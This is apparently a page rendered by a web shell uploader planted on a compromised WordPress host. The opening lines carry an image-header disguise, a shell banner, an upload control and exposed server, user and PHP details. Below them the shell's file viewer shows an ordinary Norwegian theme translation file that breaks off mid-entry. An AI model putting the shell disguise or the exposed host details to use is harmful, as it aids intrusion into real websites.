GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/nb_NO.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.0 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-01-21 21:34+1200\n"
"PO-Revision-Date: 2012-01-27 23:09+0100\n"
"Last-Translator: Tommy M. Stephansen <tommy@stephansen.as>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __;_e;_n;esc_attr_e;esc_attr__\n"
"X-Poedit-Basepath: D:\\[[MyVault]]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-SearchPath-0: .\n"

#: 404.php:25
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Søker etter: <span>%s</span>"

#: 404.php:31
msgid "Error 404 - Page Not Found"
msgstr "Feil 404 - Siden finnes ikke"

#: 404.php:33
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Beklager, jeg har lett overalt men finner ikke siden du leter etter."

#: 404.php:34
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Dersom du fulgte en lenke fra et annet nettsted, kan det hende jeg har flyttet eller døpt om siden for en stund siden. Du kan gjerne prøve å søke etter den:"

#: 404.php:42
msgid "Automated search"
msgstr "Automatisk søk"

#: 404.php:45
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Søker etter <strong>%s</strong> ..."

#: archive.php:24
#, php-format
msgid "Daily Archive: %s"
msgstr "Daglig arkiv: %s"

#: archive.php:26
#, php-format
msgid "Monthly Archive: %s"
msgstr "Månedlig arkiv: %s"

#. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008".
#: archive.php:28
msgid "F Y"
msgstr "F Y"

#: archive.php:30
#, php-format
msgid "Yearly Archive: %s"
msgstr "Årlig arkiv: %s"

#: archive.php:40
#, php-format
msgid "%1$s Archive: <span>%2$s</span>"
msgstr "%1$s Arkiv: <span>%2$s</span>"

#: archive.php:43
msgid "Blog Archive"
msgstr "Bloggarkiv"

#: author.php:32
msgid "Author's posts listings"
msgstr "Innlegg fra denne forfatteren"

#: category.php:13
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Kategoriarkiv: <span>%s</span>"

#: comments.php:25
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Dette innlegget er passordbeskyttet. Skriv inn passordet for å se eventuelle kommentarer."

#: comments.php:49
#: loop-author.php:85
#: loop.php:166
#, php-format
msgid "1 comment"
msgid_plural "%d comments"
msgstr[0] "1 kommentar"
msgstr[1] "%d kommentarer"

#: comments.php:51
#, php-format
msgid "1 ping"
msgid_plural "%d pings"
msgstr[0] "1 ping"
msgstr[1] "%d pinginger"

#: comments.php:109
msgid "Comments have been disabled."
msgstr "Kommentarer er avslått."

#: comments.php:126
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Du kan bruke følgende <abbr title=\"HyperText Markup Language\">HTML</abbr> tagger og attributter: %s"

#: comments.php:131
msgid "Your email address will not be published."
msgstr "E-post adressen din vil ikke bli offentliggjort."

#: comments.php:134
msgid "Submit Comment"
msgstr "Publiser kommentar"

#: footer.php:41
msgid "Copyright"
msgstr "Copyright"

#. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text.
#: footer.php:56
#, php-format
msgid "Except where otherwise noted, content on this site is licensed under a %s."
msgstr "Der ikke annet er spesifisert, er innholdet på dette nettstedet lisensiert under en %s."

#: footer.php:56
msgid "Creative Commons Licence"
msgstr "Creative Commons Licence"

#: footer.php:58
msgid "Creative Commons Licence BY-NC-ND"
msgstr "Creative Commons Licence BY-NC-ND"

#: footer.php:79
msgid "Return to top"
msgstr "Tilbake til toppen"

#. translators: %1$s is the link to WordPress.org, %2$s is the theme's name
#: footer.php:89
#, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Drevet av %1$s og %2$s."

#: footer.php:89
msgid "Graphene Theme"
msgstr "Graphene Tema"

#: header.php:36
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Abonnér på %s sin RSS-feed "

#: header.php:36
msgid "Subscribe to RSS feed"
msgstr "Abonnér på RSS-feed"

#: header.php:82
#: header.php:102
msgid "Go back to the front page"
msgstr "Gå tilbake til forsiden"

#: loop-author.php:23
msgid "Author's details"
msgstr "Les mer om forfatteren"

#. translators: %1$s is the first name, %2$s is the last name
#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Navn:</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Registrert:</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Biografi"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Siste innlegg"

#: loop-author.php:55
#: loop-author.php:85
#, php-format
msgid "Permalink Link to %s"
msgstr "Permalenke til %s"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:45
#: loop-page.php:8
#: loop-page.php:35
#: loop-post-formats.php:36
#: loop-single.php:67
#: loop.php:31
#: loop.php:66
msgid "(No title)"
msgstr "(Uten tittel)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Mest kommenterte innlegg"

#: loop-children.php:45
#: loop-children.php:53
#: loop-post-formats.php:36
#: loop.php:65
#: loop.php:134
#, php-format
msgid "Permalink to %s"
msgstr "Permalenke til %s"

#: loop-children.php:53
msgid "View page &raquo;"
msgstr "Vis side &raquo;"

#: loop-not-found.php:3
msgid "Not found"
msgstr "Ikke funnet"

#: loop-not-found.php:8
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Beklager, det du lette etter finnes ikke. Vil du prøve å søke?"

#: loop-not-found.php:10
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Beklager, ingen relevante resultater ble funnet. Ønsker du å prøve på et annet nøkkelord?"

#: loop-page.php:23
#: loop-page.php:24
#, php-format
msgid "Print this %s"
msgstr "Skriv ut %s"

#: loop-page.php:45
#: loop-single.php:83
#: loop.php:85
#, php-format
msgid "Edit %s"
msgstr "Rediger %s"

#: loop-page.php:66
#: loop-single.php:122
#: loop.php:148
msgid "Pages:"
msgstr "Sider:"

#: loop-page.php:90
#: loop-post-formats.php:89
#: loop-single.php:172
#: loop.php:179
msgid "Permanent link to this article:"
msgstr "Permalenke til denne artikkelen:"

#: loop-post-formats.php:15
msgid "Status update"
msgstr "Statusoppdatering"

#: loop-post-formats.php:16
msgid "Audio"
msgstr "Lyd"

#: loop-post-formats.php:17
msgid "Image"
msgstr "Bilde"

#: loop-post-formats.php:18
msgid "Video"
msgstr "Video"

#: loop-post-formats.php:19
msgid "Post format"
msgstr "Innleggsformat"

#. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:32
msgid "l F j, Y"
msgstr "jS F, Y"

#: loop-post-formats.php:32
msgid "g:i A"
msgstr "H:i"

#: loop-post-formats.php:42
msgid "Edit post"
msgstr "Rediger innlegg"

#. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:77
#, php-format
msgid "Posted on: %s"
msgstr "Postet: %s"

#: loop-post-formats.php:77
msgid "F j, Y"
msgstr "j. F Y"

#: loop-single.php:76
#: loop.php:78
msgid "Categories:"
msgstr "Kategorier:"

#: loop-single.php:98
#: loop.php:102
#, php-format
msgid "by %s"
msgstr "av %s"

#: loop-single.php:132
#: loop.php:158
msgid "Tags:"
msgstr "Tagger:"

#: loop-single.php:132
#: loop.php:158
msgid "This post has no tag"
msgstr "Dette innlegget har ingen tagger"

#: loop-single.php:153
msgid "About the author"
msgstr "Om forfatteren"

#: loop.php:127
msgid "Read the rest of this entry &raquo;"
msgstr "Les resten av denne oppføringen &raquo;"

#: loop.php:166
msgid "Leave comment"
msgstr "Skriv kommentar"

#: loop.php:166
msgid "Comments off"
msgstr "Kommentarer er av"

#: search-404.php:14
msgid "Suggested results"
msgstr "Resultatforslag"

#. translators: %s is the search term
#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Jeg har tatt meg friheten å søke på %s for deg. Du kan jo se om du finner det du leter etter i listen under:"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Beklager, fant ingenting.</strong> Prøv å søke på alternative ord ved bruk av søkeskjemaet over."

#: search.php:10
#, php-format
msgid "Search results for: %s"
msgstr "Søkeresultater for: %s"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Søk"

#: sidebar-two.php:35
#: sidebar.php:41
msgid "Meta"
msgstr "Meta"

#: sidebar-two.php:40
#: sidebar.php:46
msgid "Posts RSS"
msgstr "Innlegg RSS"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Comments RSS"
msgstr "Kommentarer RSS"

#. translators: %s is the link to wordpress.org
#: sidebar-two.php:43
#: sidebar.php:49
#, php-format
msgid "Powered by %s"
msgstr "Drevet av %s"

#: sidebar-two.php:43
#: sidebar.php:49
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Drevet av WordPress publiseringsplattform."

#: sidebar-two.php:48
#: sidebar.php:34
msgid "Archives"
msgstr "Arkiv"

#: tag.php:13
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Taggarkiv: <span>%s</span>"

#: admin/custom-fields.php:14
msgid "Graphene post-specific options"
msgstr "Innleggsspesifikke innstillinger for Graphene"

#: admin/custom-fields.php:15
msgid "Graphene page-specific options"
msgstr "Sidespesifikke innstillinger for Graphene"

#: admin/custom-fields.php:97
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "Disse innstillingene vil kun gjelde på nåværende innlegg eller side under redigering. De globale innstillingene i Graphene Innstillinger eller Graphene Visuelt-sidene overstyres."

#: admin/custom-fields.php:98
msgid "Slider options"
msgstr "Gliderinnstillinger"

#: admin/custom-fields.php:102
msgid "Slider image"
msgstr "Gliderbilde"

#: admin/custom-fields.php:106
#: admin/custom-fields.php:132
#: admin/custom-fields.php:146
msgid "Use global setting"
msgstr "Bruk global innstilling"

#: admin/custom-fields.php:107
msgid "Don't show image"
msgstr "Ikke vis bilde"

#: admin/custom-fields.php:108
msgid "Featured Image"
msgstr "Hovedbilde"

#: admin/custom-fields.php:109
msgid "First image in post"
msgstr "Første bilde i innlegg"

#: admin/custom-fields.php:110
msgid "Custom URL"
msgstr "Egendefinert URL"

#: admin/custom-fields.php:116
msgid "Custom slider image URL"
msgstr "URL for egendefinert gliderbilde"

#: admin/custom-fields.php:120
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Du må velge \"Egendefinert URL\" i nedtrekkslisten for \"Gliderbilde\" over for å bruke denne egendefinerte adressen."

#: admin/custom-fields.php:124
msgid "Display options"
msgstr "Visningsinnstillinger"

#: admin/custom-fields.php:128
msgid "AddThis Social Sharing button"
msgstr "AddThis delingsknapp"

#: admin/custom-fields.php:133
msgid "Show button"
msgstr "Vis knapp"

#: admin/custom-fields.php:134
msgid "Hide button"
msgstr "Skjul knapp"

#: admin/custom-fields.php:142
msgid "Post date display"
msgstr "Innleggsdatovisning"

#: admin/custom-fields.php:147
msgid "Hide date"
msgstr "Ikke vis dato"

#: admin/custom-fields.php:155
msgid "Navigation options"
msgstr "Navigeringsinnstillinger"

#: admin/custom-fields.php:159
msgid "Description"
msgstr "Beskrivelse"

#: admin/custom-fields.php:163
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr "Kun nødvendig hvis du trenger en beskrivelse i navigeringsmenyen og ikke benytter en egendefinert meny."

#: admin/faq.php:11
msgid "Graphene's Frequently Asked Questions"
msgstr "Graphene FAQ - vanlige spørsmål og svar"

#: admin/faq.php:14
msgid "Where should I go for the theme's support?"
msgstr "Hvor finner jeg hjelp til temaet?"

#: admin/faq.php:15
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "Vennligst send alle støttehenvendelser angående temaet til Graphenes eget <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Støtteforum</a>."

#: admin/faq.php:18
msgid "The post's featured image is replacing my header image. Help!"
msgstr "Innleggets hovedbilde overstyrer toppbildet. Hjelp!"

#: admin/faq.php:19
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "Dette er faktisk et av temaets spesialfunksjoner, som opprinnelig stammer ifra standardtemaet TwentyTen. Et hovedbilde som er større enn eller lik temaets toppbildestørrelse (960 x 198 piksler) vil automatisk erstatte toppbildet når innlegget eller siden bildet tilhører vises. Dette gjør det mulig å ha forskjellige toppbilder for forskjellige innlegg og/eller sider."

#: admin/faq.php:20
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display &gt; Header Display Options."
msgstr "Hvis du ønsker å slå av denne muligheten trenger du bare å krysse av for <em>Slå av \"Hovedbilde erstatter toppbilde\"</em> på <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Innstillinger</a> siden, under \"Visning > Toppområde\"."

#: admin/faq.php:23
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Kan jeg fritt gjøre endringer på Graphene uten å betale for det?"

#: admin/faq.php:24
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "Graphene temaet for Wordpress, sammen med alle andre temaer i Wordpress.orgs \"Official Free Themes Directory\", er tilgjengelige under GNU General Public License (GPL) versjon 2. En fullstendig gjengivelse av denne lisensen er vedlagt i filen <code>license.txt</code> som finnes i mappen til temaet. At temaet er tilgjengeliggjort under GPLv2-lisensen innebærer blant annet at <em>du står fritt til å modifisere temaet i hvilken som helst form for hvilket som helst formål (inkludert kommersielle)</em> uten noen forpliktelser til temaets forfatter. Dersom du velger å videredistribuere temaet er det imidlertdig et krav at du må gjøre dette under samme GPLv2 lisens."

#: admin/faq.php:25
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Men selvsagt vil forfatteren alltid sette pris på <a href=\"themes.php?page=graphene_options\">donasjoner</a> for å støtte pågående og fremtidig utvikling av temaet."

#: admin/faq.php:28
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Hvis temaet er tilgjengeliggjort under GPLv2, hva er denne Creative Commons lisensen nevnt i temaets bunnområde?"

#: admin/faq.php:29
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "Creative Commons-lisensen er kanskje den mest populære lisensen blant forfattere av nettbasert innhold for å lisensiere sine verker på en slik måte at deres intellektuelle rettigheter beskyttes samtidig som den tillater fri distribusjon. Den er inkludert i temaet simpelthen for å gjøre det lett for temaets brukere å bruke lisensen på innholdet de publiserer. Temabrukere kan velge å fjerne den i det hele og store på temaets Innstillinger-side dersom de ønsker."

#: admin/faq.php:30
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Kort sagt er det <em>ikke lisensen som benyttes for selve temaet</em>, men kun for innholdet på nettstedet, skulle brukeren av temaet ønske å benytte den."

#: admin/faq.php:33
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "Er temaet kompatibelt med alle innstikkene jeg vil bruke?"

#: admin/faq.php:34
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Det vet jeg ikke. Med så mange innstikk som finnes til Wordpress, ville det være umulig for meg (eller noen andre for den saks skyld) å teste kompatibliteten for dem alle. Med det sagt, er temaet bygget med alle nødvendige Wordpress-komponenter inkludert, så det er gode sjanser for at de fleste innstikk vil være kompatible med temaet."

#: admin/faq.php:35
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Jeg foreslår å innstallere innstikket og prøve. Dersom du skulle få problemer, ta først kontakt med forfatteren av innstikket. Dersom han/hun sier at det er et problem med temaet, ikke innstikket, vet du hvor du finner hjelp."

#: admin/feature-pointers.php:8
msgid "Where are all the options?!"
msgstr "Hvor er alle innstillingene?!"

#: admin/feature-pointers.php:9
msgid "We've decided to clean things up!"
msgstr "Vi har valgt å rydde opp litt!"

#: admin/feature-pointers.php:10
msgid "We know how too many options can really be daunting to new users, so we've hidden them."
msgstr "Vi vet hvordan for mange innstillinger kan virke skremmende for nye brukere, så vi har gjemt dem."

#: admin/feature-pointers.php:11
msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you."
msgstr "Men, ta det bare med ro! Hvis du er en erfaren bruker av Graphene temaet, eller når du er klar for å gå dypere inn i tilpasningsmulighetene for siden din, bare klikk på \"Vis alle innstillinger\"-lenken, så vises de."

#: admin/options-advanced.php:12
#: admin/options.php:350
msgid "Preview"
msgstr "Forhåndsvisning"

#: admin/options-advanced.php:19
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Slå på forhåndsvisning av siden på Graphene Innstillinger-siden"

#: admin/options-advanced.php:31
msgid "Action Hooks Widget Areas"
msgstr "Widget-områder for handlingskroker"

#: admin/options-advanced.php:34
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr "Denne innstillingen lar deg plassere nesten hvilket som helst innhold i hver eneste krinkelkrok i temaet ditt, ved å feste widget-området til temaets handlingskroker (\"action hooks\")."

#: admin/options-advanced.php:35
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr "Alle handlingskroker (\"action hooks\") som er tilgjengelige i Graphene temaet vises under. Klikk på filnavnet for å vise alle handlingskrokene som er tilgjengelige i den aktuelle filen. Klikk deretter på avkrysningsboksen ved siden av en handlingskrok for å gjøre et widget-område tilgjengelig for den valgte handlingskroken."

#: admin/options-advanced.php:44
msgid "Click to show/hide the action hooks for this file"
msgstr "Klikk for å vise/skjule handlingskrokene (\"action hooks\") for denne filen"

#: admin/options-advanced.php:56
msgid "Rescan action hooks"
msgstr "Skann for handlingskroker"

#: admin/options-display.php:13
msgid "Header Display Options"
msgstr "Toppområde"

#: admin/options-display.php:19
msgid "Use light-coloured header bars"
msgstr "Bruk lyse farger i overskriftsradene"

#: admin/options-display.php:25
msgid "Link header image to front page"
msgstr "La toppbildet lenke til forsiden"

#: admin/options-display.php:28
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Kryss av her hvis du ønsker å slå av topptekstene og la toppbildet lenke til forsiden."

#: admin/options-display.php:33
msgid "Disable Featured Image replacing header image"
msgstr "Slå av \"Hovedbilde erstatter toppbilde\""

#: admin/options-display.php:36
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Kryss av her for å hindre at innleggets hovedbilde erstatter toppbildet uansett hvilken størrelse det har."

#: admin/options-display.php:41
msgid "Use random header image"
msgstr "Bruk et tilfeldig toppbilde"

#: admin/options-display.php:45
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Kryss av her for å vise et tilfeldig toppbilde. (Viser et tilfeldig toppbilde blant standardbildene)."

#: admin/options-display.php:46
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Obs:</strong> virker kun på sider som ikke har et egendefinert toppbilde."

#: admin/options-display.php:52
msgid "Search box location"
msgstr "Plassing av søkeboks"

#: admin/options-display.php:56
msgid "Top bar"
msgstr "Topprad"

#: admin/options-display.php:57
msgid "Navigation bar"
msgstr "Navigeringkolonne"

#: admin/options-display.php:58
msgid "Disable search box"
msgstr "Slå av søkeboks"

#: admin/options-display.php:71
msgid "Column Options"
msgstr "Kolonner"

#: admin/options-display.php:77
msgid "Column mode"
msgstr "Kolonnelayout"

#: admin/options-display.php:86
#: admin/options-display.php:131
msgid "One column"
msgstr "Én kolonne"

#: admin/options-display.php:93
#: admin/options-display.php:138
msgid "Two columns (with sidebar right)"
msgstr "To kolonner (med høyre sidekolonne)"

#: admin/options-display.php:97
#: admin/options-display.php:142
msgid "Two columns (with sidebar left)"
msgstr "To kolonner (med venstre sidekolonne)"

#: admin/options-display.php:104
#: admin/options-display.php:149
msgid "Three columns (with two sidebars right)"
msgstr "Tre kolonner (med to sidekolonner til høyre)"

#: admin/options-display.php:108
#: admin/options-display.php:153
msgid "Three columns (with two sidebars left)"
msgstr "Tre kolonner (med to sidekolonner til venstre)"

#: admin/options-display.php:112
#: admin/options-display.php:157
msgid "Three columns (with sidebars left and right)"
msgstr "Tre kolonner (med sidekolonner på høyre og venstre side)"

#: admin/options-display.php:122
msgid "bbPress column mode"
msgstr "bbPress kolonnemodus"

#: admin/options-display.php:173
msgid "Column Width Options"
msgstr "Innstillinger for kolonnebredde"

#: admin/options-display.php:176
msgid "Note: Leave values empty to reset to the default values."
msgstr "Merk: La feltene være tomme for å bruke standardverdiene."

#: admin/options-display.php:180
msgid "Container width"
msgstr "Bredde på hovedboks"

#: admin/options-display.php:197
#: admin/options-display.php:220
msgid "Column width"
msgstr "Kolonnebredde"

#: admin/options-display.php:197
msgid "two-column mode"
msgstr "to kolonner"

#: admin/options-display.php:201
#: admin/options-display.php:228
msgid "Content"
msgstr "Innhold"

#: admin/options-display.php:205
msgid "Sidebar"
msgstr "Sidekolonne"

#: admin/options-display.php:220
msgid "three-column mode"
msgstr "tre kolonner"

#: admin/options-display.php:224
msgid "Left sidebar"
msgstr "Venstre sidekolonne"

#: admin/options-display.php:232
msgid "Right sidebar"
msgstr "Høyre sidekolonne"

#: admin/options-display.php:253
msgid "Posts Display Options"
msgstr "Innlegg"

#: admin/options-display.php:259
msgid "Hide post author"
msgstr "Skjul forfatter"

#: admin/options-display.php:269
msgid "Hidden"
msgstr "Skjult"

#: admin/options-display.php:270
msgid "As an icon (without the year)"
msgstr "Som et ikon (uten årstall)"

#: admin/options-display.php:271
msgid "As an icon (including the year)"
msgstr "Som et ikon (uten årstall)"

#: admin/options-display.php:272
msgid "As inline text"
msgstr "Som inline-tekst"

#: admin/options-display.php:274
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Merk: å vise datoen som inline-tekst gir mer plass til innholdsområdet, noe som er spesielt nyttig hvis du har valgt et layout med tre kolonner."

#: admin/options-display.php:279
msgid "Hide post categories"
msgstr "Skjul kategorier"

#: admin/options-display.php:285
msgid "Hide post tags"
msgstr "Skjul tagger"

#: admin/options-display.php:291
msgid "Hide post comment count"
msgstr "Skjul kommentarantall"

#: admin/options-display.php:292
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Påvirker kun innleggslister (slik som på forsiden), ikke visningen for enkeltinnlegg."

#: admin/options-display.php:297
msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>"
msgstr "Vis innleggsforfatterens <a href=\"http://en.gravatar.com/\">gravatar</a>"

#: admin/options-display.php:301
msgid "Show post author's info"
msgstr "Vis info om innleggets forfatter"

#: admin/options-display.php:313
msgid "Excerpts Display Options"
msgstr "Visningsinnstillinger for utdrag"

#: admin/options-display.php:319
msgid "Show excerpts in front page"
msgstr "Vis utdrag på forsiden"

#: admin/options-display.php:325
msgid "Show full content in archive pages"
msgstr "Vis hele innholdet på arkivsider"

#: admin/options-display.php:329
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "Merk: arkivsider inkluderer arkivene for kategori, tagger, tid/dato, og søkeresultater. Ved å slå på dette valget vil det hele og fulle innholdet i innlegg og sider vises, i stedet for bare utdragene. <strong>Merk:</strong> de vil fortsatt avkortes av \"Les mer\"-taggen der denne er brukt."

#: admin/options-display.php:333
msgid "Show More link for manual excerpts"
msgstr "Vis \"Mer\"-lenke for manuelle utdrag"

#: admin/options-display.php:337
msgid "Retain these HTML tags in excerpts"
msgstr "Ta med følgende HTML-tagger i utdrag"

#: admin/options-display.php:340
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Skriv inn hvilke HTML-tagger du vil inkludere i utdragene. Skriv for eksempel <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> for å ta med <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, og <code>&lt;li&gt;</code> taggene."

#: admin/options-display.php:353
msgid "Comments Display Options"
msgstr "Kommentarer"

#: admin/options-display.php:359
msgid "Hide allowed tags in comment form"
msgstr "Skjul \"tillatte tagger\" på kommentarskjemaet"

#: admin/options-display.php:372
msgid "Colours Options"
msgstr "Fargevalg"

#: admin/options-display.php:375
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr "Å skifte fargene på nettstedet ditt innebærer mer enn bare prøving og feiling. Å blande tilfeldige farger uten å ta med i betraktning hvor godt de passer sammen kan gjøre mer skade enn godt for utseendet til nettstedet."

#: admin/options-display.php:376
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr "Det er generelt en god idé å holde seg til farger fra fargepaletter som er behagelige på øyet. Sjekk ut nettstedet %s for å komme raskt i gang med noen fargepaletter som du kan bruke."

#: admin/options-display.php:377
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "Når du mener å ha funnet den perfekte kombinasjonen kan du til og med dele den med andre Graphene-brukere på <a href=\"http://forum.khairul-syahir.com/\">supportforumet</a>."

#: admin/options-display.php:378
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr "<strong>Merk:</strong> Forhåndsvisningene fungerer best på nyere Gecko- og Webkit-baserte nettlesere som Firefox og Chrome."

#: admin/options-display.php:379
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr "<strong>Merk:</strong> For å tilbakestille en farge til sin opprinnelige verdi, klikk \"Tøm\" ved siden av fargefeltet og lagre innstillingene. Temaet vil automatisk tilbakestille fargen til standardverdien."

#: admin/options-display.php:380
msgid "Content area"
msgstr "Innholdsområde"

#: admin/options-display.php:384
msgid "Main content wrapper background"
msgstr "Bakgrunn for hovedinnholdsramme"

#: admin/options-display.php:385
msgid "Post and pages content background"
msgstr "Bakgrunn for innhold på innlegg og sider"

#: admin/options-display.php:386
msgid "Post meta and footer border"
msgstr "Ramme for meta og bunn i innlegg"

#: admin/options-display.php:387
msgid "Post and pages top border"
msgstr "Toppramme på innlegg og sider"

#: admin/options-display.php:388
msgid "Post and pages bottom border"
msgstr "Bunnramme på innlegg og sider"

#: admin/options-display.php:398
#: admin/options-display.php:428
#: admin/options-display.php:454
#: admin/options-display.php:481
#: admin/options-display.php:510
#: admin/options-display.php:646
#: admin/options-display.php:667
msgid "Clear"
msgstr "Tøm"

#: admin/options-display.php:405
msgid "Widgets"
msgstr "Widget-er"

#: admin/options-display.php:408
msgid "Widget preview"
msgstr "Widget-forhåndsvisning"

#: admin/options-display.php:409
msgid "Widget title"
msgstr "Widget-tittel"

#: admin/options-display.php:409
msgid "List item"
msgstr "Listepunkt"

#: admin/options-display.php:413
msgid "Widget item background"
msgstr "Bakgrunn for Widget-punkt"

#: admin/options-display.php:414
msgid "Widget item list border"
msgstr "Ramme for Widget-listepunkt"

#: admin/options-display.php:415
msgid "Widget header border"
